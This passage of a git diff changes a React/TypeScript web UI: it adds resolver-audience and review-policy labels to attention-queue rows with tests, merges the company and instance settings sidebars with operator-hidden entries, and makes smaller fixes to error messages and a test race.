+        (current) => replaceResolvedInteraction(current, resolvedInteraction),
+      );
+    }
     queryClient.invalidateQueries({ queryKey: queryKeys.issues.interactions(issueId) });
     queryClient.invalidateQueries({ queryKey: queryKeys.attention(companyId) });
     onResolved?.();
diff --git a/ui/src/components/AttentionQueueRow.test.tsx b/ui/src/components/AttentionQueueRow.test.tsx
index f6ba608fc3f..ee0ae3fb187 100644
--- a/ui/src/components/AttentionQueueRow.test.tsx
+++ b/ui/src/components/AttentionQueueRow.test.tsx
@@ -7,6 +7,7 @@ import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
 import { afterEach, describe, expect, it, vi } from "vitest";
 import type { AttentionItem, AttentionSourceKind } from "@paperclipai/shared";
 import { approvalsApi } from "../api/approvals";
+import { ApiError } from "../api/client";
 import { issuesApi } from "../api/issues";
 import { ToastViewport } from "./ToastViewport";
 import { ToastProvider } from "../context/ToastContext";
@@ -180,6 +181,90 @@ describe("AttentionQueueRow", () => {
     expect(el.textContent).toContain("Send back to work");
   });
 
+  // PAP-16506 P4: an opt-in policy warns before the card offers Approve, because
+  // the server refuses the verdict. The default earns no pixels.
+  const reviewItemWithPolicy = (reviewPolicy?: unknown) =>
+    buildItem({
+      sourceKind: "review" as AttentionSourceKind,
+      inlineResolvable: true,
+      subject: {
+        kind: "issue",
+        id: "issue-1",
+        companyId: "c1",
+        title: "PR ready for review",
+        identifier: null,
+        status: "in_review",
+        href: "/PAP/issues/PAP-1",
+        metadata: {
+          reviewAttentionState: "stalled",
+          ...(reviewPolicy === undefined ? {} : { reviewPolicy }),
+        },
+      },
+    });
+
+  it("says nothing about who can approve on a review with no policy set", () => {
+    const el = render(
+      <AttentionQueueRow
+        item={reviewItemWithPolicy()}
+        companyId="c1"
+        expanded
+        onToggleExpand={noop}
+        onDismiss={noop}
+      />,
+    );
+    expect(el.querySelector('[data-testid="review-policy-badge"]')).toBeNull();
+    expect(el.textContent).not.toContain("Anyone else");
+    expect(el.textContent).not.toContain("Human only");
+    // The verbs still render — suppressing the badge must not suppress the card.
+    expect(el.textContent).toContain("Send back to work");
+  });
+
+  it("badges the opt-in constraint when the issue carries one", () => {
+    const el = render(
+      <AttentionQueueRow
+        item={reviewItemWithPolicy("human_only")}
+        companyId="c1"
+        expanded
+        onToggleExpand={noop}
+        onDismiss={noop}
+      />,
+    );
+    const badge = el.querySelector('[data-testid="review-policy-badge"]');
+    expect(badge?.getAttribute("data-review-policy")).toBe("human_only");
+    expect(badge?.textContent).toContain("Human only");
+    expect(badge?.getAttribute("title")).toContain("Agents cannot");
+  });
+
+  it("badges a not_creator policy as 'Anyone else'", () => {
+    const el = render(
+      <AttentionQueueRow
+        item={reviewItemWithPolicy("not_creator")}
+        companyId="c1"
+        expanded
+        onToggleExpand={noop}
+        onDismiss={noop}
+      />,
+    );
+    const badge = el.querySelector('[data-testid="review-policy-badge"]');
+    expect(badge?.getAttribute("data-review-policy")).toBe("not_creator");
+    expect(badge?.textContent).toContain("Anyone else");
+  });
+
+  it("shows no badge for an explicit default or an unrecognised policy", () => {
+    for (const policy of ["anyone", "board_only"]) {
+      const el = render(
+        <AttentionQueueRow
+          item={reviewItemWithPolicy(policy)}
+          companyId="c1"
+          expanded
+          onToggleExpand={noop}
+          onDismiss={noop}
+        />,
+      );
+      expect(el.querySelector('[data-testid="review-policy-badge"]')).toBeNull();
+    }
+  });
+
   it("deep-links a covered review instead of inlining", () => {
     const el = render(
       <AttentionQueueRow
@@ -742,6 +827,165 @@ describe("AttentionQueueRow", () => {
     expect(gallery?.querySelectorAll("a")).toHaveLength(0);
   });
 
+  // PAP-17287: the collapsed row must say who may resolve an interaction before
+  // its compact verbs are used, and a denial must keep the server's reason.
+  function interactionItem(
+    audience: AttentionItem["resolverAudience"],
+    verbs: AttentionItem["decisionVerbs"] = [
+      { id: "accept", label: "Accept", description: null },
+      { id: "reject", label: "Reject", description: null },
+    ],
+  ) {
+    return buildItem({
+      sourceKind: "issue_thread_interaction",
+      subject: {
+        kind: "interaction",
+        id: "interaction-1",
+        companyId: "c1",
+        title: "Close this confirmation?",
+        identifier: null,
+        status: "pending",
+        href: "/PAP/issues/issue-1#interaction-interaction-1",
+        metadata: { kind: "request_confirmation", issueId: "issue-1" },
+      },
+      decisionVerbs: verbs,
+      resolverAudience: audience,
+    });
+  }
+
+  const openAudience: AttentionItem["resolverAudience"] = {
+    requestedResolverPolicy: "anyone",
+    effectiveResolverPolicy: "anyone",
+    effectiveResolverPolicySource: "requested",
+    resolverPolicyProvenance: "inherited",
+    addresseeAgentId: null,
+    addresseeName: null,
+    createdByAgentId: "agent-watchdog",
+    createdByAgentName: "Watchdog",
+  };
+
+  it("states the server-derived audience before the compact decision verbs", () => {
+    render(
+      <AttentionQueueRow
+        item={interactionItem(openAudience)}
+        companyId="c1"
+        expanded={false}
+        onToggleExpand={noop}
+        onDismiss={noop}
+      />,
+    );
+
+    const audience = container?.querySelector('[data-testid="interaction-audience"]');
+    expect(audience?.getAttribute("data-audience-policy")).toBe("anyone");
+    expect(audience?.getAttribute("data-audience-open")).toBe("true");
+    expect(audience?.textContent).toContain("Anyone");
+    expect(audience?.textContent).toContain("Anyone can respond");
+
+    // Reading order is the point: the audience qualifies the buttons, so it has
+    // to precede them in the DOM as well as on screen.
+    const actions = container?.querySelector('[aria-label="Decision actions"]');
+    expect(audience && actions && audience.compareDocumentPosition(actions))
+      .toBe(Node.DOCUMENT_POSITION_FOLLOWING);
+  });
+
+  it("names the addressed responder on a restricted collapsed row", () => {
+    render(
+      <AttentionQueueRow
+        item={interactionItem({
+          ...openAudience,
+          addresseeAgentId: "agent-codex",
+          addresseeName: "CodexCoder",
+        })}
+        companyId="c1"
+        expanded={false}
+        onToggleExpand={noop}
+        onDismiss={noop}
+      />,
+    );
+
+    const audience = container?.querySelector('[data-testid="interaction-audience"]');
+    expect(audience?.getAttribute("data-audience-open")).toBe("false");
+    expect(audience?.textContent).toContain("Only CodexCoder or the board can respond");
+    // A collapsed row spends its line on the responder, not on a badge that
+    // repeats the clause beside it.
+    expect(audience?.textContent).not.toContain("Addressed —");
+  });
+
+  // PAP-17289: the row's shell is `overflow-hidden`, so a clause that cannot
+  // wrap is cut mid-word with no ellipsis and names a responder that does not
+  // exist. jsdom does no layout, so this asserts the wrapping rule itself.
+  it("lets a long addressee name wrap instead of being cut mid-word", () => {
+    const addresseeName = "ReleaseEngineeringPlatformCoordinationServiceBot";
+    render(
+      <AttentionQueueRow
+        item={interactionItem({
+          ...openAudience,
+          addresseeAgentId: "agent-release",
+          addresseeName,
+        })}
+        companyId="c1"
+        expanded={false}
+        onToggleExpand={noop}
+        onDismiss={noop}
+      />,
+    );
+
+    const audience = container?.querySelector('[data-testid="interaction-audience"]');
+    const summary = audience?.querySelector('[data-testid="interaction-audience-summary"]');
+    expect(summary?.textContent).toBe(`Only ${addresseeName} or the board can respond`);
+    expect(summary?.parentElement?.className).toContain("break-words");
+  });
+
+  it("renders no audience line when the feed carries no resolver metadata", () => {
+    render(
+      <AttentionQueueRow
+        item={interactionItem(null)}
+        companyId="c1"
+        expanded={false}
+        onToggleExpand={noop}
+        onDismiss={noop}
+      />,
+    );
+
+    // Never guess a policy client-side: silence beats a wrong audience.
+    expect(container?.querySelector('[data-testid="interaction-audience"]')).toBeNull();
+  });
+
+  it("keeps the server denial reason and names the responder when a compact accept is refused", async () => {
+    vi.mocked(issuesApi.acceptInteraction).mockRejectedValue(
+      new ApiError("This issue-thread interaction is human-only", 403, {
+        error: "This issue-thread interaction is human-only",
+        code: "interaction_human_only",
+      }),
+    );
+    render(
+      <AttentionQueueRow
+        item={interactionItem({
+          ...openAudience,
+          requestedResolverPolicy: "human_only",
+          effectiveResolverPolicy: "human_only",
+        })}
+        companyId="c1"
+        expanded={false}
+        onToggleExpand={noop}
+        onDismiss={noop}
+      />,
+    );
+
+    const accept = Array.from(container?.querySelectorAll("button") ?? []).find(
+      (button) => button.textContent === "Accept",
+    );
+    act(() => accept?.dispatchEvent(new MouseEvent("click", { bubbles: true })));
+    await act(async () => {
+      await new Promise((resolve) => setTimeout(resolve, 0));
+    });
+
+    const feedback = document.body.textContent ?? "";
+    expect(feedback).toContain("This issue-thread interaction is human-only.");
+    expect(feedback).toContain("Only the board can respond.");
+    expect(feedback).not.toMatch(/try again/i);
+  });
+
   it("does not surface training state or actions for decisions", () => {
     render(
       <AttentionQueueRow
diff --git a/ui/src/components/AttentionQueueRow.tsx b/ui/src/components/AttentionQueueRow.tsx
index f8943521f6d..9387d5b585c 100644
--- a/ui/src/components/AttentionQueueRow.tsx
+++ b/ui/src/components/AttentionQueueRow.tsx
@@ -18,6 +18,8 @@ import { approvalsApi } from "../api/approvals";
 import { issuesApi } from "../api/issues";
 import { useToastActions } from "../context/ToastContext";
 import { queryKeys } from "../lib/queryKeys";
+import { describeAttentionResolverAudience, type InteractionAudienceDescription } from "../lib/interaction-audience";
+import { interactionResolutionErrorMessage } from "../lib/interaction-resolution-error";
 import {
   attentionDetailImages,
   attentionDetailLine,
@@ -30,6 +32,7 @@ import {
 } from "../lib/attention";
 import { cn, relativeTime } from "../lib/utils";
 import { DecisionTriageStrip } from "./DecisionTriageStrip";
+import { InteractionAudienceLine } from "./InteractionAudienceLine";
 import { StatusGlyph } from "./StatusGlyph";
 import { Button } from "./ui/button";
 import { Collapsible, CollapsibleContent } from "./ui/collapsible";
@@ -47,6 +50,7 @@ import {
 import { AttentionInteractionResolver } from "./AttentionInteractionResolver";
 import { DecisionResolver } from "./DecisionResolver";
 import { StalledReviewActions } from "./StalledReviewActions";
+import { readIssueReviewPolicyMetadata } from "../lib/review-policy";
 
 const HOUR_MS = 60 * 60 * 1000;
 const DAY_MS = 24 * HOUR_MS;
@@ -155,6 +159,11 @@ export const AttentionQueueRow = memo(function AttentionQueueRow({
   // Which rows contribute an action bar. Inline rows carry compact decision
   // verbs; deep-link rows carry an Open button; curtain rows carry Restore.
   const compactActions = !isHidden ? collectCompactActions(item) : [];
+  // Who the server will let resolve this interaction. A collapsed row offers
+  // Accept/Reject before anything fetches the interaction, so the audience
+  // travels with the feed item; null for every non-interaction source and for a
+  // feed built before the metadata existed (PAP-17287).
+  const audience = describeAttentionResolverAudience(item);
   const showOpen = !inline && !!href;
   const showRestore = isHidden && !!onRestore;
   // An expanded inline row hands its footer to the resolver, which owns the
@@ -195,7 +204,12 @@ export const AttentionQueueRow = memo(function AttentionQueueRow({
 
         <div className="flex flex-wrap items-center gap-2 @xl:justify-end">
           {showCompact && (
-            <CompactDecisionActions item={item} companyId={companyId} onOpen={() => onToggleExpand(item)} />
+            <CompactDecisionActions
+              item={item}
+              companyId={companyId}
+              audience={audience}
+              onOpen={() => onToggleExpand(item)}
+            />
           )}
 
           {showOpen && (
@@ -352,6 +366,10 @@ export const AttentionQueueRow = memo(function AttentionQueueRow({
           <CollapsibleContent data-decision-disclosure className="-mt-4">
             <div className="flex flex-col gap-4 pt-4">
               {hasImages && <ThumbnailStack images={images} />}
+              {/* The audience reads *before* the verbs it qualifies: a compact
+                  Accept sitting alone asks for a decision without saying whose
+                  it is (PAP-17287). */}
+              {audience && <InteractionAudienceLine audience={audience} variant="compact" />}
               {inline && renderFooter({ compact: true })}
             </div>
           </CollapsibleContent>
@@ -457,10 +475,13 @@ function collectCompactActions(item: AttentionItem): CompactAction[] {
 function CompactDecisionActions({
   item,
   companyId,
+  audience,
   onOpen,
 }: {
   item: AttentionItem;
   companyId: string;
+  /** Effective resolver audience, so a denial can name who *can* respond. */
+  audience: InteractionAudienceDescription | null;
   onOpen: () => void;
 }) {
   const queryClient = useQueryClient();
@@ -500,9 +521,11 @@ function CompactDecisionActions({
       });
     },
     onError: (error, action) => {
+      // A policy denial is permanent, so it keeps the server's reason and names
+      // the real responder instead of asking for a retry that will fail again.
       pushToast({
         title: `Could not ${decisionLabel(action)}`,
-        body: error instanceof Error ? error.message : "Please try again.",
+        body: interactionResolutionErrorMessage(error, audience),
         tone: "error",
       });
     },
@@ -787,6 +810,7 @@ function InlineResolver({
         issueId={item.subject.id}
         companyId={companyId}
         footerSlot={toggle}
+        reviewPolicy={readIssueReviewPolicyMetadata(item.subject.metadata)}
       />
     );
   }
diff --git a/ui/src/components/BootstrapPendingPage.tsx b/ui/src/components/BootstrapPendingPage.tsx
index 51d2fc7ce39..6724a5dff0d 100644
--- a/ui/src/components/BootstrapPendingPage.tsx
+++ b/ui/src/components/BootstrapPendingPage.tsx
@@ -50,7 +50,7 @@ function claimErrorCopy(error: BootstrapPendingPageProps["claimError"]) {
   if (error?.status === 409) {
     return {
       title: "Someone else has already claimed this instance.",
-      body: "Refresh to sign in, or ask the existing admin to invite you from Instance settings -> Access.",
+      body: "Refresh to sign in, or ask the existing admin to invite you from Settings -> Access.",
     };
   }
   if (error?.status === 401) {
diff --git a/ui/src/components/CommentThread.tsx b/ui/src/components/CommentThread.tsx
index 9181d86ede1..0557c37ee9c 100644
--- a/ui/src/components/CommentThread.tsx
+++ b/ui/src/components/CommentThread.tsx
@@ -656,7 +656,12 @@ const TimelineList = memo(function TimelineList({
                   {run.environment ? (
                     <span>
                       Environment <span className="text-foreground">{run.environment.name}</span>
-                      <span> · {run.environment.driver}</span>
+                      {/* The raw "sandbox" driver key stays off run details — the
+                          environment's name and the Provider entry below already
+                          identify it; other drivers (ssh, local) remain useful. */}
+                      {run.environment.driver !== "sandbox" ? (
+                        <span> · {run.environment.driver}</span>
+                      ) : null}
                     </span>
                   ) : null}
                   {run.environmentLease?.provider ? (
diff --git a/ui/src/components/CompanySettingsSidebar.test.tsx b/ui/src/components/CompanySettingsSidebar.test.tsx
index 92073fce3ef..d8bc36c3eff 100644
--- a/ui/src/components/CompanySettingsSidebar.test.tsx
+++ b/ui/src/components/CompanySettingsSidebar.test.tsx
@@ -3,6 +3,7 @@
 import { createRoot } from "react-dom/client";
 import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { queryKeys } from "@/lib/queryKeys";
 import { CompanySettingsSidebar } from "./CompanySettingsSidebar";
 
 const sidebarNavItemMock = vi.hoisted(() => vi.fn());
@@ -121,7 +122,7 @@ describe("CompanySettingsSidebar", () => {
     vi.clearAllMocks();
   });
 
-  it("renders the company back link and the settings sections in the sidebar", async () => {
+  it("renders one unified settings list without company or instance headers", async () => {
     const root = createRoot(container);
     const queryClient = new QueryClient({
       defaultOptions: { queries: { retry: false } },
@@ -137,9 +138,8 @@ describe("CompanySettingsSidebar", () => {
     await flushReact();
 
     expect(container.textContent).toContain("Paperclip");
-    expect(container.textContent).toContain("Company Settings");
-    expect(container.textContent).toContain("Company settings");
-    expect(container.textContent).toContain("Instance settings");
+    expect(container.textContent).not.toContain("Company Settings");
+    expect(container.textContent).not.toContain("Instance Settings");
     expect(container.textContent).toContain("General");
     expect(container.textContent).toContain("Environments");
     expect(container.textContent).toContain("Export");
@@ -147,6 +147,8 @@ describe("CompanySettingsSidebar", () => {
     expect(container.textContent).toContain("Members");
     expect(container.textContent).toContain("Invites");
     expect(container.textContent).toContain("Secrets");
+    expect(container.textContent).toContain("Access");
+    expect(container.textContent).toContain("Heartbeats");
     expect(container.textContent).not.toContain("Tools & Access");
     expect(sidebarNavItemMock).toHaveBeenCalledWith(
       expect.objectContaining({
@@ -175,6 +177,20 @@ describe("CompanySettingsSidebar", () => {
         end: true,
       }),
     );
+    expect(sidebarNavItemMock).toHaveBeenCalledWith(
+      expect.objectContaining({
+        to: "/company/settings/instance/access",
+        label: "Access",
+        end: true,
+      }),
+    );
+    expect(sidebarNavItemMock).toHaveBeenCalledWith(
+      expect.objectContaining({
+        to: "/company/settings/instance/heartbeats",
+        label: "Heartbeats",
+        end: true,
+      }),
+    );
     expect(sidebarNavItemMock).toHaveBeenCalledWith(
       expect.objectContaining({
         to: "/company/settings/members",
@@ -204,13 +220,11 @@ describe("CompanySettingsSidebar", () => {
         end: true,
       }),
     );
-    expect(sidebarNavItemMock).toHaveBeenCalledWith(
-      expect.objectContaining({
-        to: "/company/settings/instance/general",
-        label: "General",
-        end: true,
-      }),
-    );
+    expect(new Set(
+      sidebarNavItemMock.mock.calls
+        .filter(([props]) => props.label === "General")
+        .map(([props]) => props.to),
+    )).toEqual(new Set(["/company/settings"]));
     expect(sidebarNavItemMock).toHaveBeenCalledWith(
       expect.objectContaining({
         to: "/company/settings/instance/plugins",
@@ -340,3 +354,64 @@ describe("CompanySettingsSidebar", () => {
     });
   });
 });
+
+describe("CompanySettingsSidebar operator-hidden entries", () => {
+  let container: HTMLDivElement;
+
+  beforeEach(() => {
+    container = document.createElement("div");
+    document.body.appendChild(container);
+    mockSidebarBadgesApi.get.mockResolvedValue({
+      inbox: 0,
+      approvals: 0,
+      failedRuns: 0,
+      joinRequests: 0,
+    });
+    mockPluginsApi.list.mockResolvedValue([]);
+    mockUsePluginSlots.mockReturnValue({ slots: [], isLoading: false, errorMessage: null });
+  });
+
+  afterEach(() => {
+    container.remove();
+    document.body.innerHTML = "";
+    vi.clearAllMocks();
+  });
+
+  async function renderSidebar(hiddenSettings?: string[]) {
+    const root = createRoot(container);
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    queryClient.setQueryData(queryKeys.health, {
+      status: "ok",
+      ...(hiddenSettings ? { hiddenSettings } : {}),
+    });
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <CompanySettingsSidebar />
+        </QueryClientProvider>,
+      );
+    });
+    await flushReact();
+  }
+
+  it("skips operator-hidden pages and their queries", async () => {
+    await renderSidebar(["instance.plugins", "instance.heartbeats"]);
+
+    expect(container.textContent).not.toContain("Plugins");
+    expect(container.textContent).not.toContain("Heartbeats");
+    expect(container.textContent).toContain("General");
+    expect(container.textContent).toContain("Adapters");
+    expect(container.textContent).toContain("Access");
+    expect(mockPluginsApi.list).not.toHaveBeenCalled();
+  });
+
+  it("keeps every entry when nothing is hidden", async () => {
+    await renderSidebar();
+
+    expect(container.textContent).toContain("Access");
+    expect(container.textContent).toContain("Plugins");
+    expect(container.textContent).toContain("Heartbeats");
+    expect(container.textContent).toContain("Adapters");
+    expect(mockPluginsApi.list).toHaveBeenCalled();
+  });
+});
diff --git a/ui/src/components/CompanySettingsSidebar.tsx b/ui/src/components/CompanySettingsSidebar.tsx
index 2d1cec667cf..d1c01eeb8be 100644
--- a/ui/src/components/CompanySettingsSidebar.tsx
+++ b/ui/src/components/CompanySettingsSidebar.tsx
@@ -9,7 +9,6 @@ import {
   MailPlus,
   MonitorCog,
   Puzzle,
-  Settings,
   Shield,
   SlidersHorizontal,
   Upload,
@@ -26,6 +25,7 @@ import { SIDEBAR_SCROLL_RESET_STATE } from "@/lib/navigation-scroll";
 import { queryKeys } from "@/lib/queryKeys";
 import { useCompany } from "@/context/CompanyContext";
 import { useSidebar } from "@/context/SidebarContext";
+import { useHiddenSettings } from "@/hooks/useHiddenSettings";
 import { usePluginSlots } from "@/plugins/slots";
 import { SidebarNavItem } from "./SidebarNavItem";
 
@@ -44,6 +44,9 @@ function isSandboxProviderOnly(plugin: PluginRecord): boolean {
 export function CompanySettingsSidebar() {
   const { selectedCompany, selectedCompanyId } = useCompany();
   const { isMobile, setSidebarOpen } = useSidebar();
+  const { hidden: hiddenSettings } = useHiddenSettings();
+  const showPage = (pageKey: string) => !hiddenSettings.has(pageKey);
+  const showPlugins = showPage("instance.plugins");
   const { slots: companySettingsPluginSlots } = usePluginSlots({
     slotTypes: ["companySettingsPage"],
     companyId: selectedCompanyId,
@@ -70,6 +73,9 @@ export function CompanySettingsSidebar() {
   const { data: plugins } = useQuery({
     queryKey: queryKeys.plugins.all,
     queryFn: () => pluginsApi.list(),
+    // The listing only feeds the per-plugin subtree below; skip it when the
+    // operator hides the Plugins surface.
+    enabled: showPlugins,
   });
   const sidebarPlugins = (plugins ?? []).filter((plugin) => !isSandboxProviderOnly(plugin));
 
@@ -86,22 +92,19 @@ export function CompanySettingsSidebar() {
           <ChevronLeft className="h-3.5 w-3.5 shrink-0" />
           <span className="truncate">{selectedCompany?.name ?? "Company"}</span>
         </Link>
-        <div className="flex items-center gap-2 px-2 py-1">
-          <Settings className="h-4 w-4 text-muted-foreground shrink-0" />
-          <span className="flex-1 truncate text-sm font-bold text-foreground">
-            Company Settings
-          </span>
-        </div>
       </div>
 
       <nav className="flex-1 min-h-0 overflow-y-auto scrollbar-auto-hide px-3 py-2">
-        <div className="px-3 pb-1 text-(length:--text-micro) font-semibold uppercase tracking-wide text-muted-foreground">
-          Company settings
-        </div>
         <div className="flex flex-col gap-0.5">
           <SidebarNavItem to="/company/settings" label="General" icon={SlidersHorizontal} end />
-          <SidebarNavItem to="/company/export" label="Export" icon={Download} />
-          <SidebarNavItem to="/company/import" label="Import" icon={Upload} end />
+          {showPage("instance.profile") && (
+            <SidebarNavItem
+              to={`${INSTANCE_SETTINGS_PATH_PREFIX}/profile`}
+              label="Profile"
+              icon={UserRoundPen}
+              end
+            />
+          )}
           <SidebarNavItem
             to="/company/settings/members"
             label="Members"
@@ -122,52 +125,47 @@ export function CompanySettingsSidebar() {
             ))}
           <SidebarNavItem to="/company/settings/invites" label="Invites" icon={MailPlus} end />
           <SidebarNavItem to="/company/settings/secrets" label="Secrets" icon={KeyRound} end />
-        </div>
-        <div className="mt-5 px-3 pb-1 text-(length:--text-micro) font-semibold uppercase tracking-wide text-muted-foreground">
-          Instance settings
-        </div>
-        <div className="flex flex-col gap-0.5">
-          <SidebarNavItem
-            to={`${INSTANCE_SETTINGS_PATH_PREFIX}/profile`}
-            label="Profile"
-            icon={UserRoundPen}
-            end
-          />
-          <SidebarNavItem
-            to={`${INSTANCE_SETTINGS_PATH_PREFIX}/general`}
-            label="General"
-            icon={SlidersHorizontal}
-            end
-          />
-          <SidebarNavItem
-            to={`${INSTANCE_SETTINGS_PATH_PREFIX}/environments`}
-            label="Environments"
-            icon={MonitorCog}
-            end
-          />
-          <SidebarNavItem
-            to={`${INSTANCE_SETTINGS_PATH_PREFIX}/access`}
-            label="Access"
-            icon={Shield}
-            end
-          />
-          <SidebarNavItem
-            to={`${INSTANCE_SETTINGS_PATH_PREFIX}/heartbeats`}
-            label="Heartbeats"
-            icon={Clock3}
-            end
-          />
-          <SidebarNavItem
-            to={`${INSTANCE_SETTINGS_PATH_PREFIX}/experimental`}
-            label="Experimental"
-            icon={FlaskConical}
-          />
-          <SidebarNavItem
-            to={`${INSTANCE_SETTINGS_PATH_PREFIX}/plugins`}
-            label="Plugins"
-            icon={Puzzle}
-          />
-          {sidebarPlugins.length > 0 ? (
+          {showPage("instance.environments") && (
+            <SidebarNavItem
+              to={`${INSTANCE_SETTINGS_PATH_PREFIX}/environments`}
+              label="Environments"
+              icon={MonitorCog}
+              end
+            />
+          )}
+          {showPage("instance.access") && (
+            <SidebarNavItem
+              to={`${INSTANCE_SETTINGS_PATH_PREFIX}/access`}
+              label="Access"
+              icon={Shield}
+              end
+            />
+          )}
+          {showPage("instance.heartbeats") && (
+            <SidebarNavItem
+              to={`${INSTANCE_SETTINGS_PATH_PREFIX}/heartbeats`}
+              label="Heartbeats"
+              icon={Clock3}
+              end
+            />
+          )}
+          <SidebarNavItem to="/company/export" label="Export" icon={Download} />
+          <SidebarNavItem to="/company/import" label="Import" icon={Upload} end />
+          {showPage("instance.experimental") && (
+            <SidebarNavItem
+              to={`${INSTANCE_SETTINGS_PATH_PREFIX}/experimental`}
+              label="Experimental"
+              icon={FlaskConical}
+            />
+          )}
+          {showPlugins && (
+            <SidebarNavItem
+              to={`${INSTANCE_SETTINGS_PATH_PREFIX}/plugins`}
+              label="Plugins"
+              icon={Puzzle}
+            />
+          )}
+          {showPlugins && sidebarPlugins.length > 0 ? (
             <div className="ml-4 mt-1 flex flex-col gap-0.5 border-l border-border/70 pl-3">
               {sidebarPlugins.map((plugin) => (
                 <NavLink
@@ -188,11 +186,13 @@ export function CompanySettingsSidebar() {
               ))}
             </div>
           ) : null}
-          <SidebarNavItem
-            to={`${INSTANCE_SETTINGS_PATH_PREFIX}/adapters`}
-            label="Adapters"
-            icon={Cpu}
-          />
+          {showPage("instance.adapters") && (
+            <SidebarNavItem
+              to={`${INSTANCE_SETTINGS_PATH_PREFIX}/adapters`}
+              label="Adapters"
+              icon={Cpu}
+            />
+          )}
         </div>
       </nav>
     </aside>
diff --git a/ui/src/components/CompanySwitcher.tsx b/ui/src/components/CompanySwitcher.tsx
index 4c38e66d5ac..9882d53be2c 100644
--- a/ui/src/components/CompanySwitcher.tsx
+++ b/ui/src/components/CompanySwitcher.tsx
@@ -1,4 +1,4 @@
-import { ChevronsUpDown, Plus, Settings } from "lucide-react";
+import { ChevronsUpDown, Plus, RefreshCw, Settings } from "lucide-react";
 import { Link } from "@/lib/router";
 import { useCompany } from "../context/CompanyContext";
 import {
@@ -32,7 +32,8 @@ interface CompanySwitcherProps {
 
 export function CompanySwitcher({ open: controlledOpen, onOpenChange }: CompanySwitcherProps = {}) {
   const [internalOpen, setInternalOpen] = useState(false);
-  const { companies, selectedCompany, setSelectedCompanyId } = useCompany();
+  const { companies, selectedCompany, setSelectedCompanyId, companyListUnavailable, retryCompanies } =
+    useCompany();
   const sidebarCompanies = companies.filter((company) => company.status !== "archived");
   const open = controlledOpen ?? internalOpen;
   const setOpen = onOpenChange ?? setInternalOpen;
@@ -69,13 +70,32 @@ export function CompanySwitcher({ open: controlledOpen, onOpenChange }: CompanyS
           </DropdownMenuItem>
         ))}
         {sidebarCompanies.length === 0 && (
-          <DropdownMenuItem disabled>No companies</DropdownMenuItem>
+          // "No companies" is a claim about the account, and after a failed list
+          // request it is one we cannot make — say what actually happened and
+          // give the customer the way out, since nothing else in the app does.
+          companyListUnavailable ? (
+            <>
+              <DropdownMenuItem disabled>Couldn't load companies</DropdownMenuItem>
+              <DropdownMenuItem
+                onSelect={(event) => {
+                  // Keep the menu open so the result of the retry is visible.
+                  event.preventDefault();
+                  void retryCompanies?.();
+                }}
+              >
+                <RefreshCw className="h-4 w-4 mr-2" />
+                Try again
+              </DropdownMenuItem>
+            </>
+          ) : (
+            <DropdownMenuItem disabled>No companies</DropdownMenuItem>
+          )
         )}
         <DropdownMenuSeparator />
         <DropdownMenuItem asChild>
           <Link to="/company/settings" className="no-underline text-inherit">
             <Settings className="h-4 w-4 mr-2" />
-            Company Settings
+            Settings
           </Link>
         </DropdownMenuItem>
         <DropdownMenuItem asChild>
diff --git a/ui/src/components/DocumentAnnotationPopover.test.tsx b/ui/src/components/DocumentAnnotationPopover.test.tsx
index fc8ecae2b07..f1eeddb3ec5 100644
--- a/ui/src/components/DocumentAnnotationPopover.test.tsx
+++ b/ui/src/components/DocumentAnnotationPopover.test.tsx
@@ -1,11 +1,14 @@
 // @vitest-environment jsdom
 
-import { createRef } from "react";
+import { act, createRef } from "react";
 import { createRoot } from "react-dom/client";
 import type { DocumentAnnotationThreadWithComments } from "@paperclipai/shared";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import { DocumentAnnotationPopover } from "./DocumentAnnotationPopover";
 
+// Required for `act` to flush passive effects rather than warn.
+(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true;
+
 const mutations = vi.hoisted(() => ({
   create: vi.fn(),
   reply: vi.fn(),
@@ -88,7 +91,16 @@ describe("DocumentAnnotationPopover", () => {
       ...overrides,
     };
     props.containerRef.current = container;
-    root.render(<DocumentAnnotationPopover {...props} />);
+    // `act`, so the passive effects are flushed before this returns. Waiting on
+    // the popover element alone is not enough: the element is in the DOM as
+    // soon as React commits, while the effect that registers the document-level
+    // keydown/pointerdown listeners runs afterwards. A test that dispatches in
+    // that gap loses the event outright — and a lost event cannot be recovered
+    // by retrying the assertion, which is why this is fixed here and not at the
+    // call site.
+    await act(async () => {
+      root.render(<DocumentAnnotationPopover {...props} />);
+    });
     await vi.waitFor(() => expect(container.querySelector('[data-testid="document-annotation-popover"]')).not.toBeNull());
     return { onClose };
   };
@@ -114,10 +126,14 @@ describe("DocumentAnnotationPopover", () => {
 
   it("dismisses on Escape and outside pointer down", async () => {
     const first = await render();
+    // What makes the dispatch safe is `render` flushing effects, not the waits
+    // below: an event fired before the listener exists is gone, and no amount of
+    // retrying an assertion brings it back. These waits cover the smaller race
+    // that remains — the handler running before React commits the state change.
     document.dispatchEvent(new KeyboardEvent("keydown", { key: "Escape", bubbles: true }));
-    expect(first.onClose).toHaveBeenCalledTimes(1);
+    await vi.waitFor(() => expect(first.onClose).toHaveBeenCalledTimes(1));
     document.body.dispatchEvent(new Event("pointerdown", { bubbles: true }));
-    expect(first.onClose).toHaveBeenCalledTimes(2);
+    await vi.waitFor(() => expect(first.onClose).toHaveBeenCalledTimes(2));
   });
 
   it("replies to and resolves a focused thread", async () => {
diff --git a/ui/src/components/FileViewerSheet.tsx b/ui/src/components/FileViewerSheet.tsx
index 230884b5f16..79a6d64200b 100644
--- a/ui/src/components/FileViewerSheet.tsx
+++ b/ui/src/components/FileViewerSheet.tsx
@@ -864,6 +864,7 @@ export function FileViewerSheet({
                   selectedPath={state.path}
                   selectedProjectId={state.projectId}
                   selectedWorkspaceId={state.workspaceId}
+                  active={computedOpen}
                   className="min-h-0 flex-1 p-2"
                 />
               </aside>
@@ -914,6 +915,7 @@ export function FileViewerSheet({
               initialFolderPath={viewer.folderPath}
               initialProjectId={viewer.browseProjectId}
               initialWorkspaceId={viewer.browseWorkspaceId}
+              active={computedOpen}
               className="min-h-0 flex-1 p-4"
             />
           ) : null}
diff --git a/ui/src/components/HiddenSettingsPageGate.test.tsx b/ui/src/components/HiddenSettingsPageGate.test.tsx
new file mode 100644
index 00000000000..bda27ae5db1
